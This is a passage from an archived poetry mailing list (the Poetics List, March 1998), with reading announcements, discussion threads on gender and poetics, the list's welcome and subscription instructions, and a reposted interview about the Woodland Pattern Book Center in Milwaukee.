art that is most rewarding here: the exhilarating originality of each poetic project and the deep reflection with which these poets explore not just poetry but the possibilities of meaning through language." (Charles Bernstein).

Thursday, April 9, 7:30 p.m.
New College Theater
777 Valencia Street
$5

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1061. **CharSSmith**
Re: Chris Funkhouser search
Tue 31 Mar 1998

Marcella,

Steve Cope recently gavce me this for Chris' email (I haven't tried it yet):

[redacted]

good luck,

Charles

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1062. **Patrick F. Durgin**
Ke n n i nG
Tue 31 Mar 1998

Announcing the premier issue of KENNING, a not-for-profit newsletter of poetry, poetics, and other genres of new non-fiction writing, including the work of Mark Wallace, John Kinsella, Daniel Zimmerman, Juliana Spahr, Summi Kaipa, Michael Angelo Tata, John Lowther, Ryan Whyte, and Stephen Ellis.

This initial issue is produced on demand and is available by mail-order only. To order issue #1, send a check for $4.00 payable to the editor, Patrick F. Durgin, to the address below. Beginning with issue #2, Kenning subscribers will receive a hand printed slip-case which ought to hold four to five subsequent issues, which will be sent to subscribers in loose leaf. A subscription (beginning in June of 98) of two issues is available anytime at a cost of $9.50. Those requesting single issues will, instead, receive a stapled copy. A single issue of Kenning #2 will be available also through direct mail-order at a cost of $5.00. These prices are meant as an accurate reflection of costs incurred in printing and distributing the magazine. Authors featured in forthcoming issues include Ron Silliman, Taylor Brady, A. L. Nielsen, Emily Wilson, Andrew Levy, and many more.

KENNING is currently seeking submissions of short critical, theoretical, or polemical prose for possible inclusion. All editorial correspondence may be made to the address below. Please include a SASE with all submissions. Thanks and hope to hear from you.
Patrick F. Durgin
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` -----><-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

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1063. **SSSCHAEFER**
Re: more boring chit-chat
Tue 31 Mar 1998

Mark:

Hate to think of myself as an essentialist, but am not sure what I did to convey this. I do, however, think that people are afraid of the personal and tend to over-intellectualize in response instead of just take care not to exploit it. (Judith Butler makes excellent points about this, better than I can.) I always thought that the point of the critique of the subject was to reveal the social within the personal, but the personal doesn't go away, does it? We have the perception, however distorted, of a self.

I think all I was trying to say is that I'm always a little nervous around the ways in which a group I belong to are unable to reflect on what they are doing, what effect it is having. I consider myself anti-sexist, but I don't always agree with everybody on my side of the issue. Sometimes they get suspicious if you disagree with some tiny point. Does this make me an essentialist?

Mark, please straighten me out as I have appreciated many of your comments to the list and feel you're a solid voice for these kinds of issues. If you or anyone can straighten me out about what was "worrisome" in those posts, would like to be enlightened.

Standard

↑ Index

1064. **Poetics List**
Welcome Message
Tue 31 Mar 1998

Rev. 3-31-98

(This message is sent out to all new and renewing subscribers and it is sent out to the list at the beginning of every month)

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

---

http://writing.upenn.edu/epc

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2. Subscriptions
3. Cautions
4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).

Above the world-weary horizons

New obstacles for exchange arise

Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently over 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **<color><param>ffff,0000,0000</param>We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

</color>

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager. For subscription information contact us at [redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information,

including address and phone number. All subscription information you supply will remain confidential.

message, with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your

name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics

archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to e-mail message blank. In the body of your e-mail message type:

  review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

 or try:

 review POETICS by name

 review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally

innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC;

in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

1065. **Rachel Levitsky**

Re: women/men/communication/cherry blossoms

Tue 31 Mar 1998

Nada--I really appreciate this post. I can't seem to catch up on the list and I keep having more I want to respond to but reading takes all the time and no time for considered response. I was particularly relating to the part about men's response to your poems. (Morpheal generally seems way out there and not at all in the discourse that I for one am having) I write a lot of raunchy poems. I don't consider them particularly autobiographical though of course life is a source of information. Men are always coming up to me after reading such poems. "I never thought that way about lesbians before" i.e. sexualized. I think often they want me to do to them physically what the poems do linguistically. Really they are so obvious. Admittedly, part of me enjoys this play. Their effort to define 'lesbian' and my slipping through the cracks. Someone, perhaps Katy wrote about becoming feminized in the west. I think that's happened to me too, west + age and choosing battles carefully. I recalled to a friend that from when I was a little girl I understood that I was the sort of girl the boys, and later, the men, would hit, because I always managed to piss them off so. I think its about defining the rules of the dialogue. If we break the rules by adding the complexity of our experience, i.e. we want to get fucked by something muscular and powerful without giving up power, there is a gap which calls for an inventive response. And I have still to see the demand for inventive/imaginative permutations of gender enter into the mainstream. Its one of the reasons I love my queer community--despite all the problems of being a pre-defined other.

more to say but later, no?

Rachel Democracy

Nada Gordon wrote:
>
> One thing that irks me greatly about this list is that it keeps me away
> from the cherry blossoms, newly opened and splendid, not to mention the

> jasmine and orange & purple pansies on my veranda
>
> but my head is so full with the discussion of this past week
>
> one reason I have not been more vocal was that I was off on a spring
> vacation jaunt to Kanazawa and Kyoto. Kanazawa is an old castle town on
> the Japan sea coast. Kyoto was so gorgeous I hallucinated gardens and
> paper and designs for two full days after I came back
>
> I really have wanted to speak my piece, especially on the exchange that
> went on between Katy and Rachel
>
> I agreed with both of them/neither of them
>
> because there are two women inside of me (and I'm asking now how many
other
> women feel this way):
>
> one who is historicized, bleating and roaring (the one who was ignored in
> math class -- thanks Katy; or the one with the ruffled leotard -- hey, I
> *still* wear those; or the one hitting misogyny over the head every day and
> still not killing it)
>
> and one who, while not ungendered (or maybe, as Don wrote, "poeticized and
> sexual, but not gendered"?), is a being -- a creature of the universe --
> empowered by nature (as Rachel wrote: choosing to, not take up the burden
> of everything constructed as history that says YOU WOMAN,YOU ARE
> DISENFRANCHISED)
>
> they toggle each other, these two women
>
> both of them acknowledge their debt and express gratitude to the pioneers
> and strugglers; both pioneer when they can; the historicized woman
> struggles; the other one moves on
>
> if we are always bleating and roaring, we can't be creative
> we reify our disenfranchisement
>
> we should bleat and roar
> we are disenfranchised
> but we can do so much more (Katy's second model of power)
>

> exemplification:
>
> I hate women's writing workshops -- I have participated in a few and even,
> uh, hostessed, one on this side of the Pacific. At workshops like these
> the common response to my writing is puzzled silence, "what are you trying
> to SAY with this?" or "there are some interesting images here, but I don't
> you think you should be more accessible" as if that constituted a response
> to the work. Mostly these are pieces that, by language poet standards,
> might be considered highly SUBJECTIVE, even THEMATIC or LYRICAL. The
kind
> of writing that these women's groups seem to sanction, though, is reportage
> -- on relationships, childhood memories, life incidents, mostly, without
> emphasis on the formal features of the writing, i.e. the poetry. The
> responses tend to the "thank you for sharing" *nurturing* *supportive*
> variety -- even to writing that, to my torqued-out ear, isn't interesting
> at all. This seems to me to be Tannen's cooperative dynamic at its most
> nauseating.
>
> Dodie, is your workshop any different? Or do you take issue with my
> description?
>
> (an aside, but when I read Tannen's book I ws struck by the similarity of
> the cooperative style to Japanese communication styles -- another topic
> altogether)
>
> On the other hand, I hate mixed writing workshops even more, where the
> women sit silent while the men light into each other with their ideas of
> how they would have written the poem, with their all-important opinions.
> Voila, the competitive dynamic.
>
> I posted a poem called *my penis* this week and got a response like this
> from morpheal. I excerpt it here:
>
> >Drumbeat sounds so damn violent. Sure you shouldn't change that ?
> >
> >I don't know....but it's too full of traditional metaphors and unclear
> >as to what you really want to convey.....
>
> and my response to him:
>
> >1) "unclearness" as to what I want to "convey" happens to be my poetics.
> >If it were clear it would be prose.

> >
> >2) language as vehicle or conveyance is an obsolete metaphor -- get over
> >it, dude.
> >
> >3) Did I solicit your opinion? You know, a big ugly fat guy came up to
> >me after one of my readings/performances and told me how he thought I
> >could have done it more effectively. I told him he could shove his
> >patronizing attitude up his ass. DITTO.
>
> Hmm, so I guess I do roar. And am boorish sometimes and violent (sorry Ms.
> Tannen to disprove your points). I apologize to Morpheal for that, and for
> quoting him here without permission. It does, though, offer an example of
> how some men respond to some women's public utterances. No wonder we
may
> feel intimidated (but I guess I showed him -- gee). It also shows how the
> public sphere, including this list, can be sites of viciousness -- as well
> as (I don't remember who said it) conviviality. Or maybe that I just can't
> take criticism?
>
> Ending with questions again:
>
> 1) Patriarchy is a miserable farce and we should work like hell to destroy
> it, but not to replace it with...arggh...matriarchy! Smothering! Bossy!
> So how can we all parent (the) society (of the poetics list) equitably?
>
> 2) A fascinating-to-me side topic that Elizabeth Hatmaker touched on was
> one of women in positions of institutional power, esp. teachers (what about
> mothers), and a question about alternative pedagogies. Joe Amato has
> written about this in great inspiring detail before, and as for me, I'm
> delving into Paolo Freire and Julian Edge and William Glasser for ways to
> balance the power relationship in the classroom, because always to be cast
> as authority is awful. Not sure that this is directly related to POETICS
> (although seems like just about anything can be, that's the beauty of it),
> but I'd be happy to talk backchannel with any co-fascinatees.
>
> love and cherry blossoms (finally I can get to them)
>
> nada
>
> p.s. Yesterday I saw a Japanese mom teaching her adolescent daughter how
> to throw a baseball!

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1066. **SSSCHAEFER**

Re: more boring chit-chat

Tue 31 Mar 1998

Mark (sorry, but I feel I must go on):

Still thinking re: essentialism

I think it should be a commonplace by now that one does not use collective nouns without suspicion, anxiety, etc. The performative aspects of gender seem to me to be quite clear on this list. I think I'm getting in trouble for not knowing exactly how to play my part. What is my motivation? Perhaps, I should try to be clearer, however, I don't think quoting a passage from Lacan will help in this regard. (May help in other regards, for other things, no offense to Katy.)

One thing I'm noticing is that exactly what I feared would happen, is happening. I'm 'worrying' people simply by trying to get "women" to tell me exactly what the relevance of a gender conversation is to the act of writing poetry. Dodie implies, I think, that as to the degree that she is a "woman," it effect the content of her writing. Have not heard anyone address the form or technique issue. Here, I am reminded of John Shoptaw's interesting book on Ashbery wherein he outlines how Ashbery's "homosexuality" effected the way he wrote. Does not in any way imply that all homosexuals are "homotextual" writers, etc.

I am trying to find out if people still feel that poetry can be seen as "a haven" of sorts where various languages, techniques, forms can be explored, deployed in a way that is relatively ideologically less policed than say fashion or mainstream fiction. (Vaguely recall Bernstein making a point in Diacritics, I think, about this space I am trying to describe.) h

I can easily accept that poetry is necessarily theoretical, but I am wondering if Katy and others are attempting to make active methodological interventions into critical/philosophical discourse. I would ask them if they think their "poetry" is some how formally enhancing/progressing their thoughts on gender.

Does anyone have thoughts about this?

The reason I am asking is that when I see a title like "Artificial Memory #1" which is from Norma Cole (just happens to be on my mind), I tend to think first about "artificial memories," memory, construction, artifice, whathaveyou. I do not tend to focus entirely on "the gap" where I might discover only that her poem has some trace or residue that is the result of her gender construction which I already suspect since I have participated in the pedagogy that is fascinated with what is "not on the page" sometimes to the exclusion of what is "on the page." For this reason, I have to ask questions.

Or else I have to I leave that entire conversation to the "writers of dissertations" as Pound called them.

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1067. **Mark Prejsnar**
Feminism or barbarism
Tue 31 Mar 1998

Standard,

In response to what's quoted below....

I read your first substantial post (I think it was the first) in response to Katy, as questioning whether a man could genuinely critique sexism. This is where the lack of special other clues, tone of voice etc. gets us into all kindsa trouble on the Net. Entirely my fault and I apologize. It seemed in context that the sentences I'm thinking of meant, "Men by their nature probably can't rebel/work against sexism," rather than what you meant, which is apparently, "This is a very problematic, unresolved issue: how *do* men work effectively against sexism anyway?" or something like that....

Anyhow, glad for your comments; as quite a number of folks on the List (unless I'm misreading them too!!) question the importance of these issues altogether!

Mark P.
@lanta

On Tue, 31 Mar 1998, SSSCHAEFER wrote:

> *Mark:*
>
> *Hate to think of myself as an essentialist, but am not sure what I did to convey this. I do, however, think that people are afraid of the personal and tend to over-intellectualize in response instead of just take care not to exploit it. (Judith Butler makes excellent points about this, better than I can.) I always thought that the point of the critique of the subject was to reveal the social within the personal, but the personal doesn't go away, does it? We have the perception, however distorted, of a self.*
>
> *I think all I was trying to say is that I'm always a little nervous around the ways in which a group I belong to are unable to reflect on what they are doing, what effect it is having. I consider myself anti-sexist, but I don't always agree with everybody on my side of the issue. Sometimes they get suspicious if you disagree with some tiny point. Does this make me an essentialist?*
>
> *Mark, please straighten me out as I have appreciated many of your comments to the list and feel you're a solid voice for these kinds of issues. If you or*

> *anyone can straighten me out about what was "worrisome" in those posts, would like to be enlightened.*
>
> *Standard*

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1068. David Gitin
unsubscribe
Tue 31 Mar 1998

This is a multi-part message in MIME format.

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
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http-equiv=3DContent-Type>
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</HEAD>
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Gitin</FONT></DIV></BODY></HTML>

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1069. daniel bouchard
readings in NYC this week
Tue 31 Mar 1998

> Various readings coming up this week:
>
>
> Wednesday night: Renee Gladman & Diane DiPrima at the Poetry Project 8pm
>
> Saturday at Here (145 6th ave) - Tonya Foster & Anselm Berrigan. 3pm.
>
>
> Sunday at Zinc Bar (90 W. Houston) - Daniel Bouchard & Ange Mlinko.
>
>

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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1070. Mark Prejsnar
essentialistically non chit-chat
Tue 31 Mar 1998

Standard....In response to your *second* post (we seem to be criss-crossing each other in real time here, an odd experience..)

I think you raise very important points. I don't always follow your exact arguments; but these are very important issues. Part of what I believe you are questioning, is whether political weight should be allowed to squash the areas of free-play and kindling-flash out of contemporary poetry.

I don't feel that that is a danger, but this may just be my temperment. I don't feel that a poet such as Fanny Howe (see: Introduction to the World) or Susan Howe, or Bernstein or Silliman, or Spahr in Response, or Mark Wallace, have allowed political concerns, often with gender dimensions, sometimes not, to flatten the space for free play inherent in the act of poetry.

But then they all *feel* the exigencies of political twist and strain, as a part of their consciousness and concrete lives. When that is the case neither poetry nor poetics are narrowed by including a political dimension (--the only narrowing would take place, if they *excluded* it).

Thus, in my own work as poet and editor, and in the way I see most poetry I encounter today, there is a strong political component. And if there weren't (given who I am) my work and consciousness would be "ideologically policed." But this shouldn't (can't, actually) be imposed from without. If you don't feel certain political issues (including gender ones) as at the flash-point of what you're doing at a given moment, then you shouldn't include those issues in your work. I might argue with someone that, as a person, they need to give more thought/involvement to one political issue or another....But until they had begun to feel it as lived turmoil, it would have no place in their poetry. And twenty

years on the left will convince you that you don't get people feeling stuff in a lived way, by bullying, only by arguments and respect.

The equation is: the person, enmeshed in the grinding societal matrix, generates concerns, politics, values, commitments; that helps shape who the person is; and that person is the poet...only what that person feels is important, can inform the poetry. It can't be imposed from the outside. You should indeed resist "ideological policing" if you feel it is being imposed on your or anyone's poetry....But people who are deeply involved with the political edge of things, are not necessarily ideologically policing you. I never looked good in a uniform, myself.

Mark P.
@lanta

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1071. Mark Prejsnar
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Tue 31 Mar 1998

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1072. **Clark D Lunberry**
Woodland Pattern Book Center
Tue 31 Mar 1998

Excuse the length of this posting but the world needs to know about this bookstore. Below is an article/interview about Woodland Pattern Book Center in Milwaukee, Wisconsin that was just published in "The Review of Contemporary Fiction" (spring 1998). In all my journeys, no bookstore (with an emphasis on poetry) has even come close to the quality of this place. Others on this list may be able to vouch for this, and if you are in the area it is definitely worth a visit (or by phone: [redacted]). (Any errors in spelling, etc. are due to my faulty scanner). ----------

The Bookstore in America: Woodland Pattern

The previous article in this series focused on Borders Books and Music as one possibility of what the bookstore and bookselling might be in the future, and what forebodes for the future and avail ability of books in the United States. Following that article with one devoted to Woodland Pattern Book Center in Milwaukee might seem a ridiculous second step, but Woodland Pattern is a very interesting alternative to, not only a chain bookstore, but conventional independent stores. My first experience with Woodland Pattern must have been just about the time that it opened in 1979, now almost twenty years ago. It had been recommended to me by the poet-novelist Paul Metcalf, who had either given a reading there or was about to give a reading. Located in a neighborhood of Milwaukee rather than in prime retail space in the downtown, and rather inconspicuously settled in the middle of a block that does not, I believe, have any other retail space, it's rather easy to drive by the store a few times without noticing it, something I usually manage to do. My first visit to Woodland Pattern meant that I had to drive from Chicago to Milwaukee, approximately 90 miles, or 180 round-trip, solely for the purpose of going to what Metcalf had promised me was a very good store. What I found was a store that had an incredible selection of literary magazines that could not be found in Chicago (and also had several back issues of these magazines, which perhaps spoke to the popularity of the magazines but also to the proprietors' commitment to keeping things available), and the best selection of poetry (perhaps this should be "poetry," because it was an in-depth selection of what one of the proprietors most liked-the Black Mountain poets, the New York School, San Francisco poets, the Objectivists; noticeably absent were the poets who were receiving the big awards and those most often published by Knopf, Norton, and Farrar, Straus). There were also tapes of writers reading, a criticism section, a rather unconventional children's section; at least, this is all that I remember. I spent several hours there,

and began what became a once or twice a year trip there, and one that cost me (aside from travel expenses) far more than I could afford. And several of those trips over the years were also related to or planned around attending one of the readings that were held (and still are) in a special room attached to the store, which is also used for art exhibits (that is, there are no books in the room).

As the interview that follows makes clear, Woodland Pattern was begun as an alternative store, not a marketing endeavor to counter competitors, which at that time would have been Webster's (now defunct) and Schwartz's; the chains, at least as we know them now, did not exist. Woodland Pattern began as a conception of its founders, one of whom was obsessed with poetry, the other with ... a variety of things. They saw their role as serving a community. Because of their interests, they thought that poetry should be the primary focus of the store and that it should be well stocked and kept there, regardless of sales; and there should be this public reading space that would feature the writers they liked and would become a very interesting space for exhibits of various kinds; if the store failed financially, then at least the failure would be on their terms. And they began as a nonprofit endeavor, not just (I assume) because there in fact was no profit to be made, but because such a status made them eligible for the little amount of grant money available to things bookish.

Woodland Pattern has now survived almost twenty years, despite being so non-commercial. And it has survived long enough to see itself modeled in other forms of retail-the "boutique." So, twenty years ago, the only kind of "coffee shop" was the greasy spoon on the corner, and no one could have foreseen such a thing as Starbucks, never mind the several non-chain specialty coffee- houses that exist even in the smallest of American towns. Woodland Pattern is, aside from some of the other products it sells, a specialty store that emphasizes what everyone knows cannot support a bookstore-poetry. And yet, because of this specialization and because of other strategic thinking on the part of its founders, the store goes on, and on. Despite what the founders fear would be the effect of a superstore moving in nearby, Woodland Pattern Book Center is, I think, an example of the kind of store that a chain could not compete with, nor would want to compete with. Woodland Pattern is doing something essentially different from traditional retail bookselling, and stays carefully within the niche it has created for itself.

In terms of the future of bookstores in America, one question is whether a Woodland Pattern-type store can be duplicated elsewhere by people who could learn from its experience, or whether this is a store/center that is unique and completely dependent upon its founders. So, for instance, could Chicago sustain such an operation, in effect becoming the place for poetry, the place for poets to read, and then the place for whatever other interests the founders have? And if this is possible for poetry, isn't it also possible for literary translation?

perhaps even literary fiction? experimental writing? In other words, if the chains have become the all-purpose and widely stocked bookstores, is there room now for highly specialized stores that can do things that are beyond what the chains are doing? Of course, all of the above represent rather small markets, and therefore perhaps all must of necessity be nonprofits. If Woodland Pattern could be duplicated, we then have another model-other than that presented by the chains-for what the future of bookselling in America might be. (John O'Brien)

INTERVIEW WITH WOODLAND PATTERN OWNERS, KARL GARTUNG AND ANNE KINGSBURY

RCF: Let's start at the beginning. How did the idea for Woodland Pattern come about? Karl Gartung: Well, there was a bookstore called Boox, Incorporated that was started by Karl Young and Tom Montag when they were running Margins magazine and Tom had a little distribution deal he was running on the side out of Margins-that was about the time that Leonard Randolph was at the National Endowment and they decided to set up a distribution project. Since Margins was pretty well regarded, they were invited to submit a grant. So they submitted a grant for both distribution projects at Boox, Incorporated. It was not nonprofit at that point, so they had to route all the money through the state arts board. It was a piddling grant, $5,000 or something like that. One of the things they were supposed to do was to hire someone to watch the store and they hired me. They had a little gallery hooked to it. It was in the "lobby" of a theater called Theater X here in downtown Milwaukee. RCF: When did Boox, Incorporated open? KG: That was opened in 1973-74. When I arrived, it was altogether voluntary. Publishers sent in their books and it turned out to be a donation; they never got paid for them because there was no money. The grant gave Boox, Incorporated money for salary and they had money to buy some books. When they interviewed me, I was complaining that the only person I was really interested in at the time, which shows my limitations I suppose, was William Carlos Williams. I had been looking around for all this poetry and all I could find were poets like Richard Wilbur and Robert Lowell and all the confessional poets and the Beats and so on and so forth. The Beats were interesting but not very sustaining as far as I was concerned. Now that judgment on them is just a judgment on me, but what I was really looking for were the Objectivists and the Black Mountain poets but I didn't know they existed, let alone where they were. RCF: When does this hook up with something called Woodland Pattern? KG: Well, I worked in this store and here were all these books. Charles Olson and the Objectivists were on the shelves already. So I was home at that point. I had always been involved with theater and Anne was a visual artist and here we were in the lobby of this theater and it had a little gallery and it had a bookstore. But we outgrew the situation of sharing the building with the theater. It

got to be cumbersome and we wanted to invite people into town to do readings and we couldn't guarantee that we would have a room for them to read in. We started looking around to move. At that point we also decided that we didn't want to be running all the money through the arts board. We also decided we'd change our name. We found it in Paul Metcalf's book Apalache. That's where "Woodland Pattern" came from: ". . . south of Lake Superior, a culture center: the Woodland Pattern, with pottery but without agriculture, imported without loss from Lake Baikal, Siberia . . ." We found this little building that we could afford; Anne was losing her job with the university, so we had some of her retirement money and she was willing. We bought the building and moved Woodland Pattern up there. By that time we had gone from one hundred titles to about five thousand titles. Anne Kingsbury: We decided we wanted to buy a building because we wanted to keep the rent stable. We were looking with some other groups and they found a building before we did and they didn't have room for us. They fixed it up beautifully, but they had only a year lease. At the end of the year they couldn't afford the rent of the building they had improved so much. We decided that we weren't going to do that. KG: We had another opportunity: there was a high school that was closing and they offered us room. I thought to myself that this is still a teaching facility and some parent is going to come through here and see William Burroughs or John Giorno or our exhibits. So the first time that would happen we thought we wouldn't have a place anyway. RCF: In what year did the current location open? AK: We stepped into the building to start tearing down walls on December 26th, 1979. We opened to the public about six to eight weeks later with one room. That included changing the building and getting that one room ready, which is currently the middle room. And people went through what looked like a dingy, warehouse type thing to get to it. The second room we opened up was the gallery. Our first program was an independent filmmaker from Chicago. KG: We had a whole series of independent films. That became our performance series at the time. There were several local filmmakers who were involved, and some Chicago filmmakers came up. Then came independent music and then the poetry program and fiction readings. And then we had the gallery shows and we quickly started the mural project on the building. RCF: When Woodland Pattern was started, was it nonprofit? KG: Yes. We knew that if we wanted to be a bookseller and make a profit, we wouldn't be able to sell new literature. AK: There are a lot of really good bookstores in Milwaukee. There are some good independent bookstores and I know that some of the chains are better than others. But to carry the back issues of the Review of Contemporary Fiction, for instance, and to give it shelf space and to carry some of our chapbooks and to keep the prices consistent, well, you're not going to make the money per square foot on these books if you want to hang onto them and not turn them over after a certain amount of time. You need a subsidy or independent wealth. In 1982, we had a book conference,

a small press book fair. We got Ted Wilentz to come in as a keynote speaker. He used to run the 8th Street Bookshop in New York and he was also a consultant around the world. We held the event at the university. I took him over to Woodland Pattern. I knew about his background as a bookseller and consultant and I worried that when he walked in he would say, "You better get some romance and mysteries and Westerns in here." And when he walked in he looked around and he said, " You need to be subsidized. You need to keep going but it won't be possible in a commercial situation. But it's important that you keep going so you're going to need to get other kinds of help." It was a reinforcement for us. When you're getting started, you're not quite sure if everything will work out. KG: At that time, if you walked into any commercial bookstore in the country they would always have a poetry section of twenty-five titles and they were always the same ones. To have a bookstore where people would walk into the store, and even if they were literate they wouldn't recognize ninety-nine percent of the titles, well, to think you could make that self-supporting is ludicrous. RCF: What kind of support was available at the time? AK: We received funding from the National Endowment for the Arts from the time we were incorporated until they reconfigured last year and eliminated the literature program. Last year was the first year we did not receive NEA funding. I applied under one of their categories and we didn't make it. But before that, we had received money every year. So you never could take it for granted, but there was always that. The state has an arts council and we would get a little funding there. It's a source that has been consistent. The city has program money and the county has organizational operations support money But everything is diminishing, partially because of the National Endowment cutbacks. The state receives money from the NEA, and when those funds dry up or are reconfigured, then they eliminate the kinds of funds that we can apply for. So where we used to be eligible to receive money in three categories, now we are eligible only for one. And the city is the same way; we used to receive money in two categories, now we can apply only for one. Thank goodness they're still going, hut there is less to apply for. RCF: How do you compensate for this? AK: Well, we've been lucky. I have this pouch that I'm making with a quote from Emily Dickinson. The quote says, "Luck is not chance, it's toil. Fortune's expensive smile is earned." We've been fortunate that when something has been taken away, we've been in a position to take advantage of an 